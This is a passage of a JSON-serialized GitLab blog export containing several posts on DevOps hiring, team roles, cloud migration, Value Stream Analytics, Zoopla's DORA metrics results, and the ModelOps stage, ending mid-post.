tech than college, you can benefit from their expertise as well as their experience from their former career. For instance, a former teacher brings the ability to present information and explain new concepts – both skills are essential in DevOps. Similarly, an office manager would know how to manage several different projects at once and understand how to work well within teams. \n\nIf diversity is important to your company, as it should be to every company, then looking beyond hiring only candidates with computer science degrees will help you to find that talent. Statistically speaking, [women and people of color are currently heavily under-represented in computer science programs across the U.S.](https://www.dukechronicle.com/article/2020/06/major-madness-racial-and-gender-equity-in-computer-science), so they are likely to have other experiences such as bootcamps or be self-taught that would still qualify them for some of your DevOps hiring needs.   \n\n### Soft skills \n\nJust as important as technical skills are interpersonal skills, a.k.a. soft skills. [Teamwork, collaboration, and communication](/blog/soft-skills-are-the-key-to-your-devops-career-advancement/) are sometimes dismissed as secondary or unimportant compared to the candidate’s ability to write code. However, these skills are essential when working within a team and across an organization. Because [team-based work is central](/blog/future-proof-your-developer-career/#embrace-the-soft-skills) to implementing DevOps strategies, you should be hiring people with great soft skills to reduce friction. It is beneficial to the company to have a professional who can communicate with the lines of business and the C-suite about projects and goals. A college grad may have had internships and work experience, but a marketing designer or restaurant manager who has been in their respective businesses for 10 years already knows how to navigate a deadline-oriented workplace and communicate requirements to other stakeholders. \n\nAs you assemble your DevOps hiring strategy, don’t close yourself off to the idea of a non-traditional candidate. You might be surprised at how much they will enhance the dynamics of your DevOps team.\n",[4103,7715,267],{"slug":15582,"featured":6,"template":678},"hiring-in-the-deep-end-of-the-talent-pool","content:en-us:blog:hiring-in-the-deep-end-of-the-talent-pool.yml","Hiring In The Deep End Of The Talent Pool","en-us/blog/hiring-in-the-deep-end-of-the-talent-pool.yml","en-us/blog/hiring-in-the-deep-end-of-the-talent-pool",{"_path":15588,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15589,"content":15594,"config":15599,"_id":15601,"_type":16,"title":15602,"_source":17,"_file":15603,"_stem":15604,"_extension":20},"/en-us/blog/how-to-build-out-your-devops-team",{"title":15590,"description":15591,"ogTitle":15590,"ogDescription":15591,"noIndex":6,"ogImage":12758,"ogUrl":15592,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15592,"schema":15593},"How to build out your DevOps team","Hiring the right DevOps roles put you on the path to success. ","https://about.gitlab.com/blog/how-to-build-out-your-devops-team","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build out your DevOps team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Johanna Ambrosio\"}],\n        \"datePublished\": \"2022-01-25\",\n      }",{"title":15590,"description":15591,"authors":15595,"heroImage":12758,"date":15596,"body":15597,"category":962,"tags":15598},[14930],"2022-01-25","\nGetting started with modern software development can feel overwhelming, particularly if you're trying to build a DevOps team from scratch. Hiring the right DevOps roles may require a blend of art, science, and luck, but it is doable. Here's our best advice on key DevOps roles, and the skills each position needs to make your DevOps team function like a well-oiled machine.\n\n- **Developers:** DevOps is a team sport nowadays. Devs test code, act as [security champions](/blog/why-security-champions/), provision infrastructure, and write automation scripts… just to name a few of the job requirements. They use scrum, Kanban, or other Agile methods to work in short iterations with regular feedback from the business side or from other clients. The dev role has changed dramatically over the past few years and will likely continue to adopt elements of other roles from UX to business-side subject matter expert. They want to continue to stretch themselves, so keep that in mind. In our [2021 Global DevSecOps Survey](/developer-survey/), developers said understanding AI/ML is the most important skill for their future careers.   \n\n- **Operations engineer/systems administrator:** In Olden Times, this is the person who ensured the software could and did run smoothly in production and sent out alarms if it didn't. But on a DevOps team, ops will manage the cloud, help create monitoring and analytics that are integrated into code, manage the tools, deal with the tools, and, of course, help resolve problems. Like the dev role, operations pros need new and emerging skills to stay relevant, including advanced programming languages, subject matter expertise, and a deeper understanding of security, according to our survey.\n\n- **Evangelist:** Someone needs to make sure the rest of the company knows what your team is up to, sing its praises, and communicate what the business's most pressing needs are. Ideally, this is a senior-level person who sits on the company's Executive Committee or board. More than just a cheerleader, an evangelist on a DevOps team should get everyone in the company involved in DevOps, committed to its success, and happy to spend budget on the endeavor. \n\n- **Project manager/release manager:** This DevOps role tracks the team's progress against business objectives, sets goals and timelines, and tries to keep everything running on time. Solving problems with cost, project scope, schedule, and client satisfaction are also squarely in this job description.\n\n\n- **QA tester/automation engineer:** A testing professional plays a critical role on a DevOps team, even with the advent of \"devs who test\" and test automation. Testing pros look at the big picture of the entire software pipeline and at snippets of code. From choosing or creating the right tests to driving test automation, this DevOps role needs out-of-the-box thinking, flexibility, and the ability to pivot at a moment's notice. \n\n\n- **Security engineer:** It's critical to build in security and compliance from the start, rather than trying to tack it on at the end when fixing problems becomes most expensive. A security engineer on a DevOps team must be strategic and hands-on. Security has a lingering tarnished reputation as a top-down problem that devs literally don't have the tools to solve, but are asked to. So for this DevOps role, it's critical to hire someone who can meet dev and ops where they are, explain the challenges and technologies, and work together collegially.\n\n- **User experience (UX) professional:** This DevOps role is the end-user advocate, the person who is totally focused on how the software looks and works from the client's perspective. Think of the UX pro as the person who brings the client and the client's needs right into the development process. In this era of modern software development, [a UX role](/blog/the-evolution-of-ux-at-gitlab/) is a must-have rather than a nice-to-have.\n\nThose are just the \"getting started\" DevOps roles. Other titles to consider include a site reliability engineer or a DevOps platform engineer, an infrastructure engineer, project and product managers, systems engineers and architects, and software architects. Keep in mind that, especially now with the Great Resignation, [hiring talent for any of these DevOps roles](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/), and pretty much anything IT-related in general, can take months.\n\nReskilling is an excellent option, though. The DevOps Institute [offers trainings](https://www.devopsinstitute.com/skilup-days/), which it calls SKILup Days, on topics such as site reliability engineering and how to create a CI/CD pipeline. And when thinking about reskilling, don't forget [the importance of soft skills to a DevOps team](/blog/soft-skills-are-the-key-to-your-devops-career-advancement/). If ever there's a place where collaboration and communication matter, it's in DevOps.\n\n_Johanna Ambrosio is a freelance technology writer._\n\nCover image by Hans-Peter Gauster on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,7715,2368],{"slug":15600,"featured":6,"template":678},"how-to-build-out-your-devops-team","content:en-us:blog:how-to-build-out-your-devops-team.yml","How To Build Out Your Devops Team","en-us/blog/how-to-build-out-your-devops-team.yml","en-us/blog/how-to-build-out-your-devops-team",{"_path":15606,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15607,"content":15612,"config":15616,"_id":15618,"_type":16,"title":15619,"_source":17,"_file":15620,"_stem":15621,"_extension":20},"/en-us/blog/utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards",{"title":15608,"description":15609,"ogTitle":15608,"ogDescription":15609,"noIndex":6,"ogImage":12243,"ogUrl":15610,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15610,"schema":15611},"Utilize the GitLab DevOps platform to avoid cloud migration hazards","The GitLab modern DevOps platform can simplify and accelerate planning, managing, moving, and modernizing applications and infrastructure as companies adopt a cloud-first posture on AWS and Google Cloud.","https://about.gitlab.com/blog/utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Utilize the GitLab DevOps platform to avoid cloud migration hazards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nima Badiey\"}],\n        \"datePublished\": \"2022-01-25\",\n      }",{"title":15608,"description":15609,"authors":15613,"heroImage":12243,"date":15596,"body":15614,"category":962,"tags":15615},[8864],"\nThese unprecedented times have been an unexpected catalyst driving companies to finally get serious about moving to the cloud. The adoption wave started in retail and banking by consumers who were unable to shop and bank in-person and were forced instead to drastically increase their online purchases.\n\nAs a result, many e-commerce sites hosted on public clouds experienced a Cambrian explosion of activity and business. The impact of the pandemic soon crossed every industry and segment from healthcare and education to hospitality and food services, as more and more companies closed their offices in favor of remote work. With closed buildings came closed data centers and other short-staffing of business-critical services.\n\nCoupled with supply chain disruptions of compute, networking, and storage gear, many IT teams were faced with mounting business continuity challenges, which impacted service level agreements, product quality, and ultimately customer satisfaction.\n\nThe answer to these challenges is to move applications, data, and infrastructure from on-premises to the cloud, with hosting provided by large public cloud providers like Amazon Web Services (AWS) and Google Cloud – both of which are better suited to support business-critical services. \n\nAs businesses continue to define their new processes and procedures, one condition is likely to become permanent: Cloud adoption is expected to accelerate and spread across all industries. [IDC FutureScape](https://www.businesswire.com/news/home/20191029005144/en/IDC-FutureScape-Outlines-the-Impact-Digital-Supremacy-Will-Have-on-Enterprise-Transformation-and-the-IT-Industry) predicts that by 2024 more than 50% of all IT spending will go toward digital transformation and cloud-first innovation projects.\n\nDespite this immutable momentum, many CIOs remain reticent as 80% are still concerned that cloud adoption initiatives alone won’t deliver the expected business agility they need, according to [a McKinsey report](https://www.mckinsey.com/business-functions/mckinsey-digital/our-insights/unlocking-business-acceleration-in-a-hybrid-cloud-world).\n\nOne reason for this is that migrating and modernizing applications simultaneously to the cloud takes more effort and experience than organizations can afford. To be successful, organizations need to adopt new software development strategies and DevOps tools to support hybrid and multi-cloud models. These teams often lack the consistent methodology and toolchains to plan, prioritize, automate, and track the progress of cloud migration projects. Adding to the risks, many companies are hampered with legacy software development workflows, disconnected processes, and siloed tools. They are further burdened with a complicated inventory of mismatched legacy hardware, aging networks, security, and application stacks that are poorly suited to cloud-native architectures.\n\nUltimately, successful cloud migrations require mastering the basics by adopting proven, repeatable, and reliable processes such as breaking big initiatives into manageable workstreams. Consistency and structured repeatability have a greater impact on project success than executive sponsorship, funding, or upgrading the company culture to an “agile” mindset. GitLab plays a critical role in the successful deployment and delivery of these cloud migration projects. \n\n## DevOps: The first logical step in cloud adoption\n\nGitLab is a modern DevOps platform used by startups as well as midsize and Fortune 500 companies to build and deliver software through an integrated toolset. In simple terms, it’s Git for source code management with a built-in CI/CD pipeline that includes security, code scanning, and monitoring. GitLab is an all-in-one integrated platform. No need to digitally piece multiple solutions together and no more switching between different tools and apps just to deploy software code. \n\nAs enterprises plan to migrate apps, services, data, and/or infrastructure to the cloud this year, these projects will benefit from new ways to plan, manage, and deliver value from their cloud investments.\n\nTo get started, GitLab, together with AWS and Google Cloud, has chronicled this journey with valuable guidance to help cloud teams embrace the cultural shift necessary for modern agile teams. In these guides, we map out an approach that empowers cross-functional teams to work together concurrently during migrations, refactorization, and adoption of new cloud services.\n\nWith GitLab, users can define custom assessment methodologies, create repeatable task lists for application migration, store app code and Terraform configuration scripts in Git, and set security protocols easily through simple merge requests. GitLab can also automate the process of testing, scanning, monitoring, and deploying business apps. By embracing next-gen DevOps, cloud migration projects can be more successful with proven, repeatable, and reliable processes all managed on the GitLab DevOps platform. \n\n### Learn more:\n- [Migration to Google Cloud and adopting cloud native](https://learn.gitlab.com/gitlab-google-cloud)\n- [Accelerate your migration to AWS using a DevOps model](https://learn.gitlab.com/gitlab-aws-microsite)\n\n",[4103,3949,923],{"slug":15617,"featured":6,"template":678},"utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards","content:en-us:blog:utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards.yml","Utilize The Gitlab Devops Platform To Avoid Cloud Migration Hazards","en-us/blog/utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards.yml","en-us/blog/utilize-the-gitlab-devops-platform-to-avoid-cloud-migration-hazards",{"_path":15623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15624,"content":15630,"config":15635,"_id":15637,"_type":16,"title":15638,"_source":17,"_file":15639,"_stem":15640,"_extension":20},"/en-us/blog/gitlab-value-stream-analytics",{"title":15625,"description":15626,"ogTitle":15625,"ogDescription":15626,"noIndex":6,"ogImage":15627,"ogUrl":15628,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15628,"schema":15629},"The role of Value Stream Analytics in GitLab's DevOps Platform","Better DevOps teams start with value stream management. Here's how to get the most out of GitLab's Value Stream Analytics.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668041/Blog/Hero%20Images/Understand-Highly-Technical-Spaces.jpg","https://about.gitlab.com/blog/gitlab-value-stream-analytics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The role of Value Stream Analytics in GitLab's DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2022-01-24\",\n      }",{"title":15625,"description":15626,"authors":15631,"heroImage":15627,"date":15632,"body":15633,"category":962,"tags":15634},[691],"2022-01-24","\n\n***\"Whenever there is a product for a customer, there is a value stream. The challenge lies in seeing it!\"*** *Learning to See - Shook & Rother*\n\nEvery company today is a software company so the level of innovation and delivery has a direct impact on revenue generation. In order to be successful, businesses must deliver an amazing digital experience, keep up with the latest technologies, deliver value at the speed demanded by customers, and do it all with zero tolerance for outages or security breaches. That's where value stream management comes into play.\n\n*“If you can’t describe what you are doing as a value stream, you don’t know what you’re doing.”* *(Martin, K. & Osterling, M. (2014). Value Stream Mapping. McGraw-Hill, p. 15.)*\n\nValue stream management(VSM) is a change in development mindset that puts the customer at the center. VSM allows teams to measure and improve the software delivery and value flow to customers. The development process is outlined from ideation until customer value realization. The focus is no longer on features and functionality – instead, organizations ensure the efforts and resources invested to deliver value to customers will improve flows that are causing bottlenecks, optimizing the cycle and shortening time to market. \n\nYou can learn more on [Value Stream Mapping](/topics/devops/value-stream-mapping/) here\n\n## An overview of GitLab's Value Stream Analytics \n\nAs part of [GitLab's DevOps Platform](/solutions/devops-platform/), Value Stream Analytics provides one shared view of the team's velocity. With insights into how long it takes the team to move from planning to monitoring, it's possible to pinpoint areas for improvement. Value Stream Analytics measures the time spent for each project or group. It displays the median time spent in each stage of the process by measuring from its start event to its end event. It helps identify bottlenecks in the development process, enabling management to uncover, triage, and identify the root cause of slowdowns in the software development life cycle and to quickly act on them to improve efficiency.\n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_1.png)\n\n## Why are Value Stream Analytics important? \n\nThe process of efficient software delivery starts by understanding where the slowest parts are, and what are the root causes behind them. With this information it's possible to build a plan for optimization.  \n\n## Which DevOps stages are tracked? \n\nThe stages tracked by Value Stream Analytics by default represent GitLab's DevOps Platform flow - \n**Issue**, **Plan**, **Code**, **Test**, **Review** and **Staging**.  \n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_stages.png)\n\n## How to customize GitLab's Value Stream Analytics \n\nNote: The stages can be customized in group evel Value Stream Analytics; currently no customization is available in the project level. \n\nClick Edit in the Value Stream Management \n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_4.png)\n\nClick Add another stage \n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_5.png)\n\nDefine stage name, and select start event and end event from the list. \n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_6.png)\n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_7.png)\n\n## The key metrics \n\nThe dashboard includes useful key metrics which help to understand the team performance. If, for example, the values of **new issues**, **commits** and **deploys** are high, it's clear a team is productive. The DevOps metrics commonly known as the **DORA (DevOps Research and Assessment) 4**. The [DORA 4 metrics](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance) show the value the team delivered to customers.\n\n**Deployment Frequency** shows how often code is deployed to production and brings value to end users. **Lead time for changes** measures how long it takes a change to get into production. Like deployment frequency, this metric measures team velocity.\n\n![vsa](https://about.gitlab.com/images/blogimages/vsa/vsa_metrics.png)\n\n## The importance of Value Stream Analytics within GitLab\n\nGitLab is a complete DevOps Platform, delivered as a single application. As such, teams use the same application during the development process from planning to monitoring. One of the benefits of being a single application for the entire DevOps lifecycle is that the data flows from all DevOps stages and is available for analysis, so Value Stream Analytics correlates and identifies how teams are spending their time without the need to integrate with an external tool. \n\nLearn more about [Value Stream Analytics for projects](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) and [Value Stream Analytics for groups](https://docs.gitlab.com/ee/user/group/value_stream_analytics/).\n\nTake a deeper dive into what DORA calls [elite DevOps teams](/blog/how-to-make-your-devops-team-elite-performers/).\n\n\n\n\n\n\n\n\n\n\n",[4103,1268,1444],{"slug":15636,"featured":6,"template":678},"gitlab-value-stream-analytics","content:en-us:blog:gitlab-value-stream-analytics.yml","Gitlab Value Stream Analytics","en-us/blog/gitlab-value-stream-analytics.yml","en-us/blog/gitlab-value-stream-analytics",{"_path":15642,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15643,"content":15648,"config":15654,"_id":15656,"_type":16,"title":15657,"_source":17,"_file":15658,"_stem":15659,"_extension":20},"/en-us/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too",{"title":15644,"description":15645,"ogTitle":15644,"ogDescription":15645,"noIndex":6,"ogImage":14661,"ogUrl":15646,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15646,"schema":15647},"Zoopla Boosts Deployments & Automation with DORA Metrics","GitLab customer Zoopla used the DORA metrics to boost production deployments from once a week to roughly 40 times a day. And that was only one of the performance improvements...","https://about.gitlab.com/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Zoopla used DORA metrics to boost deployments, increase automation and more\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gustaw Fit of Zoopla\"}],\n        \"datePublished\": \"2022-01-24\",\n      }",{"title":15649,"description":15645,"authors":15650,"heroImage":14661,"date":15632,"body":15652,"category":8943,"tags":15653},"How Zoopla used DORA metrics to boost deployments, increase automation and more",[15651],"Gustaw Fit of Zoopla","\n\nAbout two years ago, Zoopla started wondering how we could measure the overall improvements in performance in the engineering department. We were in the early stages of a program of work called [Bedrock](https://zoopla.blog/posts/2021/project-bedrock-replatforming/). Bedrock was all about making engineering capability more efficient and flexible in responding to the business needs.\n\nAfter researching various options, we decided on the [DORA metrics](https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance). They provided us with all the necessary insights to track our success, and benchmark ourselves against a definition of good.\n\n## What is DORA?\n\nDORA is the acronym for the DevOps Research and Assessment group: they’ve surveyed more than 50,000 technical professionals worldwide to better understand how the technical practices, cultural norms, and management approach affect organisational performance.\n\n(Take a dive into the [latest DORA Report](https://www.ciosummits.com/Online_Assets_Puppet_2016_State_of_DevOps_Report.pdf) and in the book that summarizes the findings:  [Accelerate](https://www.amazon.com/Accelerate-Building-Performing-Technology-Organizations/dp/B07BMBYHXL/ref=sr_1_2?crid=R1O9AH85U6PR&keywords=accelerate+book&qid=1643046474&sprefix=accelerate+book%2Caps%2C70&sr=8-2)).\n\n## What are the metrics Zoopla is using?\n\n- Production deploy frequency - Time between the first commit on a merge request to master and production deployment\n- Lead time - Number of successful production deployments / day\n- Mean Time To Recover - Time required from customer impact first started to removal of the customer impact\n- Change fail rate - For the primary application or service you work on, what percentage of changes to production or released to users result in degraded service (e.g., lead to service impairment or service outage) and subsequently require remediation (e.g., require a hotfix, rollback, fix forward, patch)\n- Time to onboard - Time required from the engineer who had joined the company, until their first commit is merged to master on a non-personal repository.\n\n\n## How do we understand the metrics?\n\n- Production deploy frequency - limiting amount of code going to production at once (limited batch size)\n- Lead time - reducing amount of blockers for developers\n- MTTR - improving speed of incident recovery\n- Change fail rate - improving quality focus\n- Time to onboard - how efficient is our onboarding process\n\nFollowing the rules of lean:\n\n- Value is only released to production, once it leaves the factory floor (production deploy frequency)\n- Optimize Work In Progress (lead time)\n- Invest in SRE/automation (mean time to recover)\n- Practice kaizen (change fail rate)\n- Have efficient knowledge sharing and work allocation processes (time to onboard)\n\n## How are we collecting the metrics?\n\nWe are using the following data sources:\n\n[GitLab](https://about.gitlab.com) for deploy frequency, lead time, change fail rate and time to onboard\n\n[Blameless](https://www.blameless.com) for mean time to recover (as recorded in incidents)\n\n[Jenkins](https://www.jenkins.io) for deploy frequency and change fail rate\n\nThe process is using APIs extensively. We also needed to come up with a standardised data schema to be able to meaningfully use the metrics. The raw data stored in the s3 bucket can be used in any visualization tool. For our own purposes we have decided to display them in a google spreadsheet. All of these required an extensive implementation effort. The whole flow is powered by modern Python.\n\nSome parts of our process are still not perfect. We are actively working to simplify the flows and standardize data sets.\n\n## How are the metrics used at Zoopla?\n\nThe dashboard is regularly reviewed by the senior engineering management. The metrics are on public display, and are discussed and reviewed in our monthly town hall meeting, and our fortnightly Ops Review. Each team is encouraged to reflect on the metrics as they plan their work, and consider improvements they could introduce.\n\nThe metrics also influence the decisions and prioritization. Just as importantly, they help us to transform our company culture.\n\nIn terms of improvements measured:\n\n- Production deployment frequency was improved from once in a week to multiple times per day (~40 deployments per day).\n- Lead time was improved from an average of 10 days to less than two days (with many projects being close to 2-4h on average).\n- Mean time to recover: we have not measured it before, the main benefit for us is understanding what we need to improve. We are currently in the area of 1-3h on average for sev-0 or sev-1 issues and 24h on average, when we include sev-2 issues.\n- Change failure rate was about 60% before we started, it is now oscillating between ~1-5%.\n- Time to onboard was over 20 days, and we have brought this down to around five days.\n\nThe main cultural changes were:\n\n- We have automated the majority of our deployment pipelines.\n- We have added a lot of automation to incident resolution, primarily by adding auto-scaling.\n- We have trained our teams in incident response, and introduced an on-call rota.\n- We have moved the bulk of our infrastructure management to a standardised Infrastructure as Code (mainly Terraform).\n- We have improved our onboarding process.\n- We have improved our alerting, and partnered with New Relic to reduce investigation effort.\n\nWe hold the ambition to join the elite performing group of organisations as defined by the State of DevOps report. Each day brings us closer to that goal.\n\n## What are our future plans?\n\nOn the technical side, we are working to improve automation of the metrics, to go away from our internal and bespoke metric collection model. We hope our partnership with New Relic will soon enable a much better solution.\n\nOn the DevOps/DORA culture side, we are providing regular talks and training to wider audiences (not only engineering), to establish DORA as a reference point in future product development. We are also making it a key point of our new consolidated engineering strategy.\n\nWe’ve found the DORA metrics helped us improve our software development and delivery processes. With these findings, organizations can make informed adjustments in their process workflows, automation, team composition, tools, and more. We recommend you try this in your organisation too.\n\nFurther reading:\n\n- [The Phonenix Project](https://www.amazon.com/The-Phoenix-Project-audiobook/dp/B00VATFAMI/ref=sr_1_1?crid=3U43AWAK4L6YI&keywords=The+Phoenix+project&qid=1643046949&sprefix=the+phoenix+project%2Caps%2C70&sr=8-1) by Gene Kim, Kevin Behr and George Spafford\n- [The Goal: A Process of Ongoing Improvement](https://www.amazon.com/The-Goal-audiobook/dp/B00IFGGDA2/ref=sr_1_1?crid=2EAKYMNBHT0B5&keywords=the+goal+by+eliyahu+goldratt&qid=1643047036&s=audible&sprefix=The+goal%2Caudible%2C125&sr=1-1) by Eliyahu Goldratt and Jeff Cox\n- [The Unicorn Project](https://www.amazon.com/The-Unicorn-Project-Gene-Kim-audiobook/dp/B0812C82T9/ref=sr_1_1?crid=2B0ENCYRNG2BO&keywords=the+unicorn+project&qid=1643047132&s=audible&sprefix=the+unicorn%2Caudible%2C76&sr=1-1) by Gene Kim et al\n",[4103,2705,1307],{"slug":15655,"featured":6,"template":678},"how-zoopla-uses-dora-metrics-and-your-team-can-too","content:en-us:blog:how-zoopla-uses-dora-metrics-and-your-team-can-too.yml","How Zoopla Uses Dora Metrics And Your Team Can Too","en-us/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too.yml","en-us/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too",{"_path":15661,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15662,"content":15667,"config":15672,"_id":15674,"_type":16,"title":15675,"_source":17,"_file":15676,"_stem":15677,"_extension":20},"/en-us/blog/introducing-modelops-to-solve-data-science-challenges",{"title":15663,"description":15664,"ogTitle":15663,"ogDescription":15664,"noIndex":6,"ogImage":11122,"ogUrl":15665,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15665,"schema":15666},"Adopt ModelOps within DevOps to solve data science challenges","The ModelOps stage of DevOps applies AI and ML to address complex data science challenges.","https://about.gitlab.com/blog/introducing-modelops-to-solve-data-science-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Adopt ModelOps within DevOps to solve data science challenges\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2022-01-21\",\n      }",{"title":15663,"description":15664,"authors":15668,"heroImage":11122,"date":15669,"body":15670,"category":962,"tags":15671},[6860],"2022-01-21","\nIn a [recent blog post](/blog/the-road-to-smarter-code-reviewer-recommendations/) discussing the progress of integrating novel machine learning (ML) algorithms into GitLab we introduced our new [ModelOps stage](/direction/modelops/). This stage is focused on enabling and empowering data science workloads on GitLab. GitLab ModelOps aims to bring data science into GitLab within existing features to make them smarter and more intelligent and empowering GitLab customers to build and integrate data science workloads within GitLab.\n\nAn interesting question we hear a lot is how will this be useful for DevOps professionals? So we wanted to dive into who exactly we’re building ModelOps features for and why. To begin, here is an overview of how we’ve chosen to structure our new ModelOps stage. \n\n## ModelOps: Enabling and empowering data science workloads\n\n![Chart of ModelOps stages](https://about.gitlab.com/images/blogimages/Screen_Shot_2022-01-19_at_1.11.36_PM.png){: .shadow}\n\nModelOps is about taking all the best practices we’ve learned building a DevOps platform and applying them to the unique challenges of AI and ML workloads. Our ModelOps stage is divided into three primary groups: DataOps, MLOps, and AI Assisted. Each group has specific jobs to be done and challenges. Part of the reason we chose this organization model is due to the different user personas we’re trying to solve problems for in each of these areas. Now let’s dive into the people in each group, as well as the challenges each group aims to solve. \n\n## DataOps: Get the data, clean it, and process it\n\nDataOps is focused on everything required to process data workloads, including fetching data, cleaning it, and processing it. You may have heard this called ELT, or Extract, Load, Transformation, of data. But DataOps is more than just the ELT, there are lots of other problems that come with data sources. For example, data located in many disparate systems in many formats and lacking common data definitions. Most data sources require a lot of processing to access, move, clean, and interpret data. We have specialists whose entire job is [all of the work to get data into usable states](https://online.hbs.edu/blog/post/data-life-cycle) so organizations can do something of business value with it. \n\nDepending on the organization, these data professionals may have different titles such as data engineer, data architect, or data analyst.  These data wranglers have many assorted jobs: aggregating disparate data sources, cleaning and shaping data into usable formats, making data available to the business, and even analyzing data and answering business questions.\n\nThe data experts leverage many tools such as ELT platforms, big data warehouses, data pipelines, and database technologies like SQL and elastic search. Data management tooling can be an extremely complex series of connections piping data in and out of various platforms. These challenges are the heart of the problems we’re aiming to solve.\n\n## MLOps: Do something useful with the data\n\nNext is MLOps, which is what most people associate with data science. MLOps aims to enable customer data science use cases, including accessing and interacting with data, AI/ML toolchain integrations, and compute environment integrations. Basically, everything that is required to build, test, train, and deploy AI/ML models into production systems. MLOps leverages math to solve problems using computing power to find patterns in the data that we just discussed with DataOps. \n\nData science teams feature professionals with titles such as data scientists, ML engineers, or ML specialists. These experts usually have a mix of higher-level math and statistics skills, software engineering, and basic DevOps skills. They can cobble together environments to build, train, test, and explore data science models to solve specific business problems.\n\nThe work data scientists do is more than just building ML models. They have to understand the business data and problems they are trying to leverage data science to solve. It’s usually very experimental and requires a lot of iteration to find a solution that solves a particular business problem in a useful way. It’s common for data scientists to spend a lot of time exploring and understanding datasets and the business problems organizations are hoping data science can solve. They then build and train AI/ML models, evaluate model output, and then iterate their models.\n\nAmong the common tools these data scientists use are Python notebooks, which allow them to leverage scripting to explore and manipulate data and try different modeling techniques. They also may use many open source ML and data science frameworks, as well as special data science platforms that help manage, version, interpret, and monitor models. Most of this work almost never happens in production environments. It happens on local machines or in cloud computing platforms where data scientists can leverage highly specialized compute, optimized for running data science models. That leaves an interesting challenge of how do you deploy their work to production systems.  Our last use case, DevOps, provides the solution. \n\n## AI Assisted: Leverage data to solve business problems \n\nWhile our AI Assisted group isn't specifically focused on any one user persona, we are planning to enrich existing GitLab features with ML. Our goal is to take features that require manual work to leverage and apply ML to automate these tasks. Tasks like assigning and labeling issues, choosing code reviewers, and even triaging and fixing security vulnerabilities. You can read more about our AI Assisted plans on our [direction page](/direction/ai-powered/) or check in on the status of our first Applied ML feature, [suggested reviewers](/blog/the-road-to-smarter-code-reviewer-recommendations/). Now that we've touched on improving GitLab for everyone, let's go back to GitLab's main persona, DevOps engineers.\n\n## DevOps: Build, test, and deploy software \n\nDevOps is probably the most understood use case that we’re trying to solve with our ModelOps stage. However, we’re focused on the intersection of DevOps and data science workloads. Specifically what happens when you need to deploy a data science model to a production system. GitLab’s DevOps platform is already an established and mature platform for building, testing, and deploying traditional software applications. But the software stacks of modern organizations are evolving and becoming more sophisticated, including leveraging ML. We’ve described some of the challenges and new personas that are involved with the development of data science workloads, but what happens when it’s time to go to production?\n\nToday, data science teams and DevOps engineers work in separate silos with very different skills sets and technology challenges. So when a data science team has a new ML model they want to push into a production software environment and integrate into a running application, in walks a whole new set of challenges. \n\nJust about every software company now has DevOps teams focused on repeatability, stability, and velocity of software development lifecycles. Everything relating to the design, build, testing, deployment, security, and monitoring of software from idea to deploy into a production system. These teams are usually comprised of software engineers and DevOps engineers. The people who write, build, and test code with repeatable CI/CD, allowing software teams to seamlessly develop software applications. \n\n## Helping them all work together\n\nOur goal with ModelOps is to help all of these people work together to build and deploy data-rich modern applications leveraging novel ML workloads. We want to bring data science into GitLab within existing features to make them smarter and more intelligent and to empower GitLab customers to build and integrate data science workloads in their own applications built and deployed with GitLab. Each of these groups has unique challenges and use cases that are interconnected. That’s part of what makes data science difficult. It has a lot of moving parts and crosses every aspect of modern software development lifecycles with very unique challenges. \n\nIf all of this is interesting to you, you may also enjoy watching our recent Contribute session, where we discuss more about what we plan to accomplish with our ModelOps stage, which you can watch on YouTube.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n  \u003Ciframe src=\"https://www.youtube.com/embed/C08QVI99JLo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n_This blog post contains information related to upcoming products, features and functionality._\n\n_It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes._\n\n_As with all projects, the items mentioned in 